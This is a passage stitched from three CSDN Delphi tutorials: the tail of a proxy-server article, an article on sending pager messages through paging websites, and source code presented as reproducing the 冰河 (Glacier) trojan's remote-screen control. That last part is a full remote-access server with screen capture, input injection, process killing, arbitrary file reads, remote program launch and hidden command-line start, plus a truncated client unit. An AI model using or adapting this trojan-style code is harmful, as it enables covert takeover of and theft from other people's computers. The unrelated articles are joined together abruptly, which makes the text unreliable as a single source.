serversocket1.Socket.ActiveConnections do if (serversocket1.Socket.Connections[k-1].SocketHandle=session[i-1].SS_Handle) and session[i-1].used then begin serversocket1.Socket.Connections[k-1].Close; break; end; break; end; j:=sessions; k:=0; for i:= 1 to j do begin if session[j-i].Used then break; inc(k); end; if k>0 then{修正会话数组} begin sessions:=sessions-k; setlength(session,sessions); end; edit1.text:=inttostr(sessions); end; file://当与远程主机通信发生错误时/ procedure TForm1.ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); var i,j,k: integer; begin for i:=1 to sessions do if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then begin socket.close; session[i-1].remote_connected:=false;{置为未连接} if not session[i-1].client_connected then session[i-1].Used:= false{假如客户机已断开，则置释放资源标志} else for k:=1 to serversocket1.Socket.ActiveConnections do if (serversocket1.Socket.Connections[k-1].SocketHandle=session[i-1].SS_Handle) and session[i-1].used then begin serversocket1.Socket.Connections[k-1].Close; break; end; break; end; j:= sessions; k:= 0; for i:= 1 to j do begin if session[j-i].Used then break; inc(k); end; errorcode:= 0; if k>0 then{修正会话数组} begin sessions:=sessions-k; setlength(session,sessions); end; edit1.text:= inttostr(sessions); end; //向远程主机发送页面请求 procedure TForm1.ClientSocket1Write(Sender: TObject; Socket:TCustomWinSocket); var i: integer; begin for i:= 1 to sessions do if (session[i-1].CSocket.tag= socket.SocketHandle) and session[i-1].Used then begin if session[i-1].Request then begin socket.SendText(session[i-1].request_str);{假如有请求，发送} session[i-1].Request:= false;{清标志} end; break; end; end; //远程主机发来页面数据时 procedure TForm1.ClientSocket1Read(Sender: TObject;Socket: TCustomWinSocket); var i,j: integer; rec_bytes: integer;{传回的数据块长度} rec_Buffer: array[0..2047] of char; {传回的数据块缓冲区} begin for i:= 1 to sessions do if (session[i-1].CSocket.tag= socket.SocketHandle) and session[i-1].Used then begin rec_bytes:= socket.ReceiveBuf(rec_buffer,2048); {接收数据} for j:= 1 to serversocket1.Socket.ActiveConnections do if serversocket1.Socket.Connections[j-1].SocketHandle= session[i-1].SS_Handle then begin serversocket1.Socket.Connections[j-1].SendBuf(rec_buffer,rec_bytes); {发送数据} break; end; break; end; end; //“页面找不到”等错误信息出现时 procedure TForm1.AppException(Sender:TObject; E: Exception); begin inc(invalidrequests); end; file://查找远程主机定时/ procedure TForm1.Timer1Timer(Sender: TObject); var i,j: integer; begin for i:= 1 to sessions do if session[i-1].Used and session[i-1].Lookingup then{假如正在连接} begin inc(session[i-1].LookupTime); if session[i-1].LookupTime > lookuptimeout then{假如超时} begin session[i-1].Lookingup:=false; session[i-1].CSocket.active:=false;{停止查找} for j:=1 to serversocket1.Socket.ActiveConnections do if serversocket1.Socket.Connections[j-1].SocketHandle=session[i-1].SS_Handle then begin serversocket1.Socket.Connections[j-1].Close;{断开客户机} break; end; end; end; end; end. 三、总结 由于这种设计思路仅仅在被代理端和远程主机之间增加了一个重定向功能，被代理端原有的缓存技术等特点均保留，因此效率较高。经过测试，利用1个33.6K的Modem上网时，三到十个被代理工作站同时上网，仍有较好的响应速度。由于被代理工作站和代理服务器之间的连接一般通过高速链路，因此瓶颈主要出现在代理服务器的上网方式上。 通过上述方法，作者成功开发了一套完善的代理服务器软件并与机房计费系统完全集成，实现了利用一台工作站完成上网代理、上网计费、用机计费等功能。 有编程经验的朋友完全可以另行增加代理服务器功能，如设定禁止访问站点、统计客户流量、Web访问列表等等。


CSDN_文档中心_用Delphi实现BP机、手机短讯

用Delphi实现BP机、手机短讯
    很多人一定用过OICQ，想必也用过了它的BP机短讯、手机短讯，编程的朋友一定想实现这种功能，如果你的程序能发到手机、发到BP机一定很酷。现在我就介绍一种可行的方法。

    一、原理

    它不同于OICQ的双方都在网上才能进行交流的寻呼功能，它可以将文字信息发送到真正的寻呼机上。只要你能够上网，就可以自己动手，随时随地将信息发送出去，即使你在国外，也可以利用它来向国内的友人发送信息了，而且不用交纳国际长途费用，是不是方便又省事呢！

    二、分析

    现在网上各寻呼台都有网上服务,网页寻呼(Web Paging)就是常用的一种。它是通过在互联网上访问寻呼台的主页，然后由寻呼台的信息寻呼系统打传呼。所以我们只要利用HTTP协议就可以实现网络寻呼了。以下就简单介绍一下HTTP协议： HTTP中完成一个会话通常要完成：

    1)客户端程序与服务器建立连接

    2)发送请求

    3)服务器响应客户端

    4)关闭连接

    HTTP常用到的请求有：

      1)GET(请求一万维网页)

      2)HEAD(读取一万维网页的头部)

      3)PUT(请求一存储万维网页)

      4)POST(附加一个命名的资源)

      5)DELETE(删除万维网页)

      6)LINK(连接两个已有的资源)

      7)UNLINK(断开两个已有资源的连接)

    HTTP中常用到的应答状态代码有：(*号代表0-9间的一个数)

      1. 1** (信息)

      2. 2**(成功)

      3.4**(客户端错误)

      4.5**(服务器错误)

其实我们要实现的程序，只用POST、GET请求，收到正常应答就可以了。POST可以用于把用户输入的数据以数据流的方式传给CGI程序，CGI通过Contect-Length环境变量来取相应长度的数据流信息。

    POST请求格式如下：

    POST http://www2.scuta.edu.cn/stu/chatroom/check.asp HTTP/1.0

    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*

    Referer: http://www2.scuta.edu.cn/stu/

    Accept-Language: zh-cn

    Content-Type: application/x-www-form-urlencoded

    Proxy-Connection: Keep-Alive

    User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)

    Host: www2.scuta.edu.cn

    Content-Length: 87

    Pragma: no-cache

    Cookie: ASPSESSIONIDQGGGQHHE=ABGNNOJCIGOFCDLBIOLHKAFK

    服务器正常应答的头部结构为：

      200 OK HTTP/1.0 说明提交数据成功

    三、程序的实现

    Delphi中NMHTTP已经可以很容易的实现上面的所说的数据提交,而且它还支持Proxy、这样对于通过代理服务器上网一样可以适用，并且它不是OICQ中发送讯信所用到SOCKET5代理。

    新建一个窗体，加入组件一个ComboBox，命名为callto,用于存放寻呼对象，如国信寻呼就有95908、94908、94909、98062、98063、98019、98035、98052、98038、99055、98060、98061、98051、98003、99062、99016、99017、99018、99019、99046、99076；加入组件Edit，命名为tonumber，表示寻呼号码；加入组件RadioGroup，命名为RadioGroup1,Caption设为呼机类型，items中加入两项，分别为中文机、数字机;加入组件Edit,命名为firstName，用于表示发寻呼人的姓；加入组件RadioGroup，命名为RadioGroup2,Caption设为寻呼人性别，items中加入两项，分别为先生、小姐;加入组件Memo，命名为callmsg，用于输入发送的信息(注：对于数字机只能是数字信息)；加入组件NMHTTP,命名为NMHTTP1；加入Checkbox，命名为ifuseproxy，用于确定是否使用代理服务器;加入两个Edit组件，分别用于软件代理服务器地址、代理服务器端口；最后加入命令按钮,Caption设为“发送”。

    现在以国信寻呼为例，它用GET请求就可以实现了,“发送”按钮的程序代码如下：

procedure TForm1.Button1Click(Sender: TObject);
var callstr:string;
begin callstr:='http://tips.gxspace.com/cgi-bin/tips/webpaging?stn_id='+callto.Text+'&page_no='+tonumber.Text;
case RadioGroup1.ItemIndex of
0:callstr:=callstr+'&pager_type=C';
1:callstr:=callstr+'&pager_type=N';
end;
callstr:=callstr+'&firstname='+firstname.text;
case RadioGroup2.ItemIndex of
0:callstr:=callstr+'&title=0';
1:callstr:=callstr+'&title=1';
end;
callstr:=callstr+'&msg='+callmsg.Text+'&answer=null&B1=发送寻呼';
NMHTTP1.InputFileMode := FALSE;
NMHTTP1.OutputFileMode := FALSE;
NMHTTP1.ReportLevel := Status_Basic;
If ifuseproxy.Checked then
Begin
NMHTTP1.Proxy := Edit1.Text;
NMHTTP1.ProxyPort := StrToInt(Edit2.Text);
End;
NMHTTP1.Get(callstr);
end;

    有些寻呼(如润迅寻呼就不能用上面的GET请求实现，它要用POST请求)，使用与上面相差不大，如下面是NMHTTP的POST用法：

NMHTTP1.InputFileMode:=False;
NMHTTP1.OutputFileMode:=True;
NMHTTP1.ReportLevel:=Status_Basic;
If ifuseproxy.Checked then
Begin
NMHTTP1.Proxy := Edit1.Text;
NMHTTP1.ProxyPort := StrToInt(Edit2.Text);
End;
With NMHTTP1.HeaderInfo do
Begin
Cookie := Edit5.Text;
LocalMailAddress := Edit6.Text;
LocalProgram := Edit7.Text;
Referer := Edit8.Text;
UserID := Edit9.Text;
Password := Edit10.Text;
End;

// 把要提交的数据先放在test.txt文件中：格式为stnid=A&pageno=123456....

NMHTTP1.Post('http://www.wocall.com/script/zbwebcall.asp','test.txt');

file://NMHTTP的具体用法在Delphi安装目前\Borland\Delphi5\Demos\FastNet\Http下有个NMHTTP使用的例子。

    以上都是用NMHTTP实现的，其实用Delphi中的WebBrowser组件同样可以完成数据的提交，使用是这样的 Webbrowser1.OleObject.Document.FrontPage_Form1.submit();

    说明：WebBrowser1是WebBrowser组件的名,Frontpage_Form1是用WebBrowser打开的网页中的表单名

    网页中的表单是这机样的：

＜FORM action=http://message.com.cn/cgi-bin/ips/webpaging method=post name=FrontPage_Form1＞
.......
＜/FORM＞

这样的实现方法就是用程序生成一个已经按用户输入信息生成一个网页，然后通过WebBrowser1.Navigate(生成的网页),最后提交到服务器Webbrowser1.OleObject.Document.FrontPage_Form1.submit();这样就完成了一次寻呼


CSDN_文档中心_用delphi实现冰河的远程屏幕操作功能

   分为服务端和客户端两个部分，虽然不是一个完整的delphi工程，但是我们关心的其中有用的代码，对吧？
下面是服务端
unit ServerDlg;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, WinSock, ScktComp, Menus, TrayIcon, FormSettings,
RemConMessages, ZLib, MsgSimulator, ComCtrls, ShellAPI;

type
TServerForm = class(TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
LogList: TListBox;
ServerPanel: TPanel;
Label5: TLabel;
StartLab: TLabel;
Label9: TLabel;
ConLab: TLabel;
Label11: TLabel;
NumRecLab: TLabel;
Label13: TLabel;
NumSendLab: TLabel;
Label3: TLabel;
LastRecLab: TLabel;
Label4: TLabel;
NumErrLab: TLabel;
Panel1: TPanel;
Label1: TLabel;
NameLabel: TLabel;
Label2: TLabel;
PortEdit: TEdit;
Panel2: TPanel;
StartBut: TButton;
DisconBut: TButton;
MinimizeBut: TButton;
ClientBut: TButton;
ServerSocket1: TServerSocket;
TrayIcon1: TTrayIcon;
TrayMenu: TPopupMenu;
RemoteControl1: TMenuItem;
N1: TMenuItem;
Client1: TMenuItem;
N2: TMenuItem;
Shutdown1: TMenuItem;
FormSettings1: TFormSettings;
MsgSimulator1: TMsgSimulator;
Label6: TLabel;
PassEdit: TEdit;
procedure StartButClick(Sender: TObject);
procedure DisconButClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure MinimizeButClick(Sender: TObject);
procedure RemoteControl1Click(Sender: TObject);
procedure Shutdown1Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure ServerSocket1Listen(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Client1Click(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure ClientButClick(Sender: TObject);
protected
NumRec : double;
NumSend : double;
NumError : integer;
CurMsg : string;
LoggedOn : boolean;
CurBmp : TBitmap;
CurSocket : TCustomWinSocket;
CurHandle : THandle;
SleepTime : integer;
ViewMode : TViewMode;
CompMode : TCompressionLevel;
procedure UpdateStats;
procedure Log(const s: string);
procedure ProcessClick(const Data: string);
procedure ProcessDrag(const Data: string);
procedure Send_Screen_Update(Socket: TCustomWinSocket);
procedure SleepDone(Sender: TObject);
procedure ProcessKeys(const Data: string);
procedure CreateSleepThread;
procedure GetHostNameAddr;
procedure ParseComLine;
function Get_Process_List: string;
procedure CloseWindow(const Data: string);
procedure KillWindow(const Data: string);
function Get_Drive_List: string;
function GetDirectory(const PathName: string): string;
function GetFile(const PathName: string): string;
public
procedure EnableButs;
procedure ProcessMessage(const Msg: string; Socket: TCustomWinSocket);
procedure SendMsg(MsgNum: integer; const MsgData: string; Socket: TCustomWinSocket);
end;

var
ServerForm: TServerForm;

implementation

uses ClientFrm;

{$R *.DFM}

procedure TServerForm.StartButClick(Sender: TObject);
begin
with ServerSocket1 do begin
Port := StrToInt(PortEdit.Text);
Active := True;
end;
EnableButs;
end;

procedure TServerForm.DisconButClick(Sender: TObject);
begin
ServerSocket1.Active := False;
EnableButs;
end;

procedure TServerForm.EnableButs;
var
b : boolean;
begin
b := ServerSocket1.Active;

StartBut.Enabled := not b;
PortEdit.Enabled := not b;
DisconBut.Enabled := b;
// MinimizeBut.Enabled := b;
end;

procedure TServerForm.GetHostNameAddr;
var
buf : array[0..MAX_PATH] of char;
he : PHostEnt;
buf2 : PChar;
rc : integer;
begin
rc := GetHostName(buf, sizeof(buf));

if rc<>SOCKET_ERROR then begin
he := GetHostByName(buf);
if he = nil then begin
rc := WSAGetLastError;
NameLabel.Caption := Format('Socket Error %d = %s', [rc, SysErrorMessage(rc)]);
end else begin
buf2 := inet_ntoa(PInAddr(he.h_addr^)^);
NameLabel.Caption := Format('%s (%s)', [buf, buf2]);
end;
end else begin
NameLabel.Caption := 'Unknown Host';
end;
end;

procedure TServerForm.FormShow(Sender: TObject);
begin
EnableButs;
GetHostNameAddr;
end;

procedure TServerForm.MinimizeButClick(Sender: TObject);
begin
if ServerSocket1.Active then begin
TrayIcon1.ToolTip := Application.Title + ' - Port: ' + PortEdit.Text;
end else begin
TrayIcon1.ToolTip := Application.Title + ' - Inactive';
end;

TrayIcon1.Active := True;
ShowWindow(Application.Handle, SW_HIDE);
Hide;
end;

procedure TServerForm.RemoteControl1Click(Sender: TObject);
begin
TrayIcon1.Active := False;
ShowWindow(Application.Handle, SW_SHOW);
Application.Restore;
Show;
SetForegroundWindow(Handle);
end;

procedure TServerForm.Shutdown1Click(Sender: TObject);
begin
RemoteControl1Click(nil);
Close;
end;

procedure TServerForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
FormSettings1.SaveSettings;
end;

procedure TServerForm.ServerSocket1Listen(Sender: TObject;
Socket: TCustomWinSocket);
begin
StartLab.Caption := CurTime;
NumRec := 0;
NumSend := 0;
CurMsg := '';
LoggedOn := False;
UpdateStats;
Log('Startup at ' + CurTime);
end;

procedure TServerForm.UpdateStats;
begin
ConLab.Caption := IntToStr(ServerSocket1.Socket.ActiveConnections);
NumRecLab.Caption := Format('%1.0n', [NumRec]);
NumSendLab.Caption := Format('%1.0n', [NumSend]);
NumErrLab.Caption := IntToStr(NumError);
end;

procedure TServerForm.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s : string;
begin
Log(Format('%-20s %s', ['Recv Data', Socket.RemoteAddress]));

LastRecLab.Caption := CurTime;
s := Socket.ReceiveText;
NumRec := NumRec + Length(s);
UpdateStats;

CurMsg := CurMsg + s;

while IsValidMessage(CurMsg) do begin
s := TrimFirstMsg(CurMsg);
ProcessMessage(s, Socket);
end;
end;

procedure TServerForm.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Log(Format('%-20s %s', ['Connect', Socket.RemoteAddress]));

ViewMode := vmColor4;
CompMode := clDefault;
SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_NORMAL);
UpdateStats;
end;

procedure TServerForm.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Log(Format('%-20s %s', ['Disconnect', Socket.RemoteAddress]));

UpdateStats;
end;

procedure TServerForm.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
Log(Format('%-20s %d', ['Error', ErrorCode]));

ErrorCode := 0;
Inc(NumError);
UpdateStats;
end;

procedure TServerForm.Log(const s: string);
begin
LogList.ItemIndex := LogList.Items.Add(s);
end;

procedure TServerForm.ProcessMessage(const Msg: string; Socket: TCustomWinSocket);
var
MsgNum, x: integer;
rc : integer;
Data : string;
bmp : TBitmap;
tmp : string;
begin
CurSocket := Socket;
Move(Msg[1], MsgNum, sizeof(integer));
Data := Copy(Msg, 9, Length(Msg));

Log(Format('%-20s %d', ['Message', MsgNum]));

if MsgNum = MSG_LOGON then begin
LoggedOn := (AnsiCompareText(Data, PassEdit.Text) = 0);
if LoggedOn then begin
SendMsg(MSG_LOGON, '1', Socket)
end else begin
SendMsg(MSG_LOGON, '0', Socket);
end;
exit;
end;

if not LoggedOn then begin
Log('Denied Access!');
SendMsg(MSG_STAT_MSG, 'Invalid Password', Socket);
Socket.Close;
exit;
end;

if MsgNum = MSG_REFRESH then begin
Log('Screen Capture');
SendMsg(MSG_STAT_MSG, 'Screen Capture', Socket);
GetScreen(bmp, ViewMode);
Log('Compressing Bitmap');
SendMsg(MSG_STAT_MSG, 'Screen Compression', Socket);
CompressBitmap(bmp, tmp);
SaveString(tmp, 'Temp1.txt');
SendMsg(MSG_REFRESH, tmp, Socket);
CurBmp.Assign(bmp);
bmp.Free;
end;

if MsgNum = MSG_SCREEN_UPDATE then begin
Send_Screen_Update(Socket);
end;

if MsgNum = MSG_CLICK then begin
SendMsg(MSG_STAT_MSG, 'Simulating Input', Socket);
ProcessClick(Data);
// SleepDone will be called when it is finished
end;

if MsgNum = MSG_DRAG then begin
SendMsg(MSG_STAT_MSG, 'Simulating Input', Socket);
ProcessDrag(Data);
// SleepDone will be called when it is finished
end;

if MsgNum = MSG_KEYS then begin
SendMsg(MSG_STAT_MSG, 'Simulating Input', Socket);
ProcessKeys(Data);
// SleepDone will be called when it is finished
end;

if MsgNum = MSG_SEVER_DELAY then begin
Move(Data[1], SleepTime, sizeof(integer));
SendMsg(MSG_SEVER_DELAY, '', Socket);
end;

if MsgNum = MSG_VIEW_MODE then begin
Move(Data[1], x, sizeof(integer));
ViewMode := TViewMode(x);
SendMsg(MSG_VIEW_MODE, '', Socket);
end;

if MsgNum = MSG_FOCUS_SERVER then begin
if TrayIcon1.Active then RemoteControl1Click(nil);
SetFocus;
CreateSleepThread;
// SleepDone will be called when it is finished
end;

if MsgNum = MSG_COMP_MODE then begin
Move(Data[1], x, sizeof(integer));
CompMode := TCompressionLevel(x);
SendMsg(MSG_COMP_MODE, '', Socket);
end;

if MsgNum = MSG_PRIORITY_MODE then begin
Move(Data[1], x, sizeof(integer));
SetThreadPriority(GetCurrentThread, x);
SendMsg(MSG_PRIORITY_MODE, '', Socket);
end;

if MsgNum = MSG_PROCESS_LIST then begin
SendMsg(MSG_PROCESS_LIST, Get_Process_List, Socket);
end;

if MsgNum = MSG_CLOSE_WIN then begin
CloseWindow(Data);
end;

if MsgNum = MSG_KILL_WIN then begin
KillWindow(Data);
end;

if MsgNum = MSG_DRIVE_LIST then begin
SendMsg(MSG_DRIVE_LIST, Get_Drive_List, Socket);
end;

if MsgNum = MSG_DIRECTORY then begin
SendMsg(MSG_DIRECTORY, GetDirectory(Data), Socket);
end;

if MsgNum = MSG_FILE then begin
SendMsg(MSG_FILE, GetFile(Data), Socket);
end;

if MsgNum = MSG_REMOTE_LAUNCH then begin
SendMsg(MSG_STAT_MSG, 'Launching File: ' + Data, Socket);
rc := ShellExecute(Handle, 'open', PChar(Data), nil, nil, SW_SHOWNORMAL);
if rc <= 32 then begin
Data := Format('ShellExecute Error #%d Launching %s', [rc, Data]);
SendMsg(MSG_REMOTE_LAUNCH, Data, Socket);
end else begin
SendMsg(MSG_REMOTE_LAUNCH, Data, Socket);
end;
end;
end;

function EnumWinProc(hw: THandle; lp: LParam): boolean; stdcall;
var
sl : TStringList;
buf : array[0..MAX_PATH] of char;
s, iv : string;
begin
sl := TStringList(lp);
GetWindowText(hw, buf, sizeof(buf));
if buf<>'' then begin
if IsWindowVisible(hw) then iv := '' else iv := '(Invisible)';
s := Format('%8.8x - %-32s %s', [hw, buf, iv]);
sl.AddObject(s, TObject(hw));
end;
Result := True;
end;

function TServerForm.Get_Process_List: string;
var
sl : TStringList;
begin
sl := TStringList.Create;
EnumWindows(@EnumWinProc, integer(sl));
Result := sl.Text;
sl.Free;
end;

function TServerForm.Get_Drive_List: string;
var
DriveBits : integer;
i : integer;
begin
Result := '';
DriveBits := GetLogicalDrives;
for i := 0 to 25 do begin
if (DriveBits and (1 shl i)) <> 0 then
Result := Result + Chr(Ord('A') + i) + ':\' + #13#10;
end;
end;

function TServerForm.GetDirectory(const PathName: string): string;
var
DirList : TStringList;
CommaList : TStringList;
sr : TSearchRec;
s : string;
dt : TDateTime;
begin
DirList := TStringList.Create;
CommaList := TStringList.Create;

if FindFirst(PathName, faAnyFile, sr) = 0 then repeat
CommaList.Clear;
s := sr.Name;
if (s = '.') or (s = '..') then continue;

if (sr.Attr and faDirectory) <> 0 then s := s + '\';
CommaList.Add(s);
s := Format('%1.0n', [sr.Size+0.0]);
CommaList.Add(s);
dt := FileDateToDateTime(sr.Time);
s := FormatDateTime('yyyy-mm-dd hh:nn ampm', dt);
CommaList.Add(s);

DirList.Add(CommaList.CommaText);
until FindNext(sr) <> 0;
FindClose(sr);

Result := DirList.Text;

CommaList.Free;
DirList.Free;
end;

function TServerForm.GetFile(const PathName: string): string;
var
fs : TFileStream;
begin
fs := TFileStream.Create(PathName, fmOpenRead or fmShareDenyWrite);
SetLength(Result, fs.Size);
fs.Read(Result[1], fs.Size);
fs.Free;
end;

procedure TServerForm.CloseWindow(const Data: string);
var
sl : TStringList;
i : integer;
hw : THandle;
begin
sl := TStringList.Create;
EnumWindows(@EnumWinProc, integer(sl));
i := sl.IndexOf(Data);
if i<>-1 then begin
hw := THandle(sl.Objects[i]);

SendMessage(hw, WM_CLOSE, 0, 0);

Sleep(SleepTime);
SendMsg(MSG_PROCESS_LIST, Get_Process_List, CurSocket);
end;
sl.Free;
end;

procedure TServerForm.KillWindow(const Data: string);
var
sl : TStringList;
i : integer;
hw : THandle;
ProcID : integer;
hProc : THandle;
begin
sl := TStringList.Create;
EnumWindows(@EnumWinProc, integer(sl));
i := sl.IndexOf(Data);
if i<>-1 then begin
hw := THandle(sl.Objects[i]);

GetWindowThreadProcessId(hw, @ProcID);
hProc := OpenProcess(PROCESS_ALL_ACCESS, False, ProcID);
TerminateProcess(hProc, DWORD(-1));
CloseHandle(hProc);

Sleep(SleepTime);
SendMsg(MSG_PROCESS_LIST, Get_Process_List, CurSocket);
end;
sl.Free;
end;

procedure TServerForm.SleepDone(Sender: TObject);
begin
Send_Screen_Update(CurSocket);
end;

procedure TServerForm.Send_Screen_Update(Socket: TCustomWinSocket);
var
bmp, dif : TBitmap;
R : TRect;
tmp : string;
begin
Log('Screen Capture');
SendMsg(MSG_STAT_MSG, 'Screen Capture', Socket);
GetScreen(bmp, ViewMode);
Log('Creating Diff Image');
dif := TBitmap.Create;
dif.Assign(bmp);
R := Rect(0, 0, dif.Width, dif.Height);
SendMsg(MSG_STAT_MSG, 'Screen Difference', Socket);
dif.Canvas.CopyMode := cmSrcInvert;
dif.Canvas.CopyRect(R, CurBmp.Canvas, R);

Log('Compressing Bitmap');
SendMsg(MSG_STAT_MSG, 'Screen Compression', Socket);
CompressBitmap(dif, tmp);

SendMsg(MSG_SCREEN_UPDATE, tmp, Socket);
CurBmp.Assign(bmp);

dif.Free;
bmp.Free;
end;

function GetMB(but: integer): TMouseButton;
begin
case but of
1 : Result := mbLeft;
2 : Result := mbRight;
else Result := mbLeft;
end;
end;

procedure TServerForm.ProcessClick(const Data: string);
var
x, y, i : integer;
num, but : integer;
p : TPoint;
begin
Move(Data[1], x, sizeof(integer));
Move(Data[1+4], y, sizeof(integer));
Move(Data[1+8], num, sizeof(integer));
Move(Data[1+12], but, sizeof(integer));

// Find the Window Handle
p := Point(x, y);
CurHandle := WindowFromPoint(p);
Assert(CurHandle<>0);

SetCursorPos(x, y);

// Create the Messages to send in the Hook procedure
with MsgSimulator1 do begin
Messages.Clear;
for i := 1 to num do
Add_ClickEx(0, GetMB(but), [], x, y, 1);
Play;
end;

CreateSleepThread;
end;

procedure TServerForm.ProcessDrag(const Data: string);
var
x, y : integer;
time : integer;
num, but : integer;
p : TPoint;
StartPt : TPoint;
StopPt : TPoint;
begin
Move(Data[1], but, sizeof(integer));
Move(Data[1+4], num, sizeof(integer));
Assert(num > 2);

// Create the Messages to send in the Hook procedure
// Mouse Down
Move(Data[(1-1)*12 + 9], x, sizeof(integer));
Move(Data[(1-1)*12 + 13], y, sizeof(integer));
Move(Data[(1-1)*12 + 17], time, sizeof(integer));
SetCursorPos(x, y);
// Find the Window Handle
p := Point(x, y);
CurHandle := WindowFromPoint(p);
Assert(CurHandle<>0);

with MsgSimulator1 do begin
Messages.Clear;

StartPt.X := x;
StartPt.Y := y;
Windows.ScreenToClient(CurHandle, StartPt);

Move(Data[(num-1)*12 + 9], x, sizeof(integer));
Move(Data[(num-1)*12 + 13], y, sizeof(integer));
StopPt.X := x;
StopPt.Y := y;
Windows.ScreenToClient(CurHandle, StopPt);

Add_Window_Drag(CurHandle, StartPt.X, StartPt.Y, StopPt.X, StopPt.Y);

Play;
end;

CreateSleepThread;
end;

procedure TServerForm.ProcessKeys(const Data: string);
begin
with MsgSimulator1 do begin
Messages.Clear;
Add_ASCII_Keys(Data);
Play;
end;

CreateSleepThread;
end;

procedure TServerForm.SendMsg(MsgNum: integer; const MsgData: string; Socket: TCustomWinSocket);
var
s : string;
begin
s := IntToByteStr(MsgNum) + IntToByteStr(Length(MsgData)) + MsgData;

Log(Format('%-20s %-4d %1.0n', ['Send', MsgNum, Length(s)+0.0]));

Socket.SendText(s);
NumSend := NumSend + Length(s);
UpdateStats;
end;

procedure TServerForm.FormCreate(Sender: TObject);
begin
CurBmp := TBitmap.Create;
SleepTime := 50;
ParseComLine;
end;

procedure TServerForm.FormDestroy(Sender: TObject);
begin
CurBmp.Free;
end;

type
TSleepThread = class(TThread)
public
SleepTime : integer;
procedure Execute; override;
end;

procedure TSleepThread.Execute;
begin
Sleep(SleepTime);
end;

procedure TServerForm.CreateSleepThread;
var
st : TSleepThread;
begin
st := TSleepThread.Create(True);
st.SleepTime := SleepTime;
st.OnTerminate := SleepDone;
st.Resume;
end;

procedure TServerForm.Client1Click(Sender: TObject);
begin
ClientForm.Show;
end;

procedure TServerForm.FormCloseQuery(Sender: TObject;
var CanClose: Boolean);
var
rc : integer;
begin
if ServerSocket1.Socket.ActiveConnections > 0 then begin
rc := MessageDlg('Clients are still connected, do you want to close?',
mtWarning, mbYesNoCancel, 0);
CanClose := (rc = mrYes);
end;
end;

procedure TServerForm.ParseComLine;
var
i : integer;
s : string;
AutoStart : boolean;
begin
AutoStart := False;

for i := 1 to ParamCount do begin
s := UpperCase(ParamStr(i));

if Copy(s, 1, 6) = '/PORT:' then begin
PortEdit.Text := Copy(s, 7, Length(s));
AutoStart := True;
StartButClick(nil);
MinimizeButClick(nil);
end;

if s = '/CLIENT' then begin
MinimizeButClick(nil);
AutoStart := True;
end;
end;

if not AutoStart then
Visible := True;
end;

procedure TServerForm.ClientButClick(Sender: TObject);
begin
ClientForm.Show;
end;

end.
下面是客户端
unit ClientFrm;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, ExtCtrls, ComCtrls, FormSettings, Menus, StdCtrls, Buttons,
RemConMessages, ZLib;

const
DEFAULT_SERVER_DELAY = 500;
DEFAULT_VIEW_MODE = vmColor4;
DEFAULT_COMP_MODE = clDefault;
DEFAULT_SVR_PRIORITY = THREAD_PRIORITY_HIGHEST;

type
TMoveObj = class
X, Y : integer;
Time : integer;
end;

TClientForm = class(TForm)
StatPanel: TPanel;
StatusBar1: TStatusBar;
ScrollBox1: TScrollBox;
Image1: TImage;
ClientSocket1: TClientSocket;
Timer1: TTimer;
MainMenu1: TMainMenu;
File1: TMenuItem;
Connect1: TMenuItem;
N1: TMenuItem;
Exit1: TMenuItem;
Disconnect1: TMenuItem;
View1: TMenuItem;
RefreshComplete1: TMenuItem;
UpdateChanges1: TMenuItem;
ResponseTimer: TTimer;
ClickTimer: TTimer;
Options1: TMenuItem;
ServerPause1: TMenuItem;
N005sec1: TMenuItem;
N010sec1: TMenuItem;
N050sec1: TMenuItem;
N100sec1: TMenuItem;
N200sec1: TMenuItem;
N500sec1: TMenuItem;
LogList: TListBox;
Splitter1: TSplitter;
N2: TMenuItem;
Log1: TMenuItem;
CommStat1: TMenuItem;
N3: TMenuItem;
Shutdown1: TMenuItem;
Special1: TMenuItem;
FocusServerWindow1: TMenuItem;
BitmapFormat1: TMenuItem;
Color4: TMenuItem;
Gray4: TMenuItem;
Gray8: TMenuItem;
Color24: TMenuItem;
Default1: TMenuItem;
WaitImage: TImage;
CompressionLevel1: TMenuItem;
HighSlow1: TMenuItem;
Medium1: TMenuItem;
LowFast1: TMenuItem;
ServerPriority1: TMenuItem;
Critical1: TMenuItem;
Highest1: TMenuItem;
AboveNormal1: TMenuItem;
Normal1: TMenuItem;
BelowNormal1: TMenuItem;
Lowest1: TMenuItem;
Idle1: TMenuItem;
N4: TMenuItem;
ScaleImage1: TMenuItem;
ProcessList1: TMenuItem;
N5: TMenuItem;
FileList1: TMenuItem;
Panel1: TPanel;
SendCRBut: TSpeedButton;
SendBut: TSpeedButton;
SendPanel: TPanel;
SendEdit: TEdit;
Help1: TMenuItem;
About1: TMenuItem;
StatBarMenu: TMenuItem;
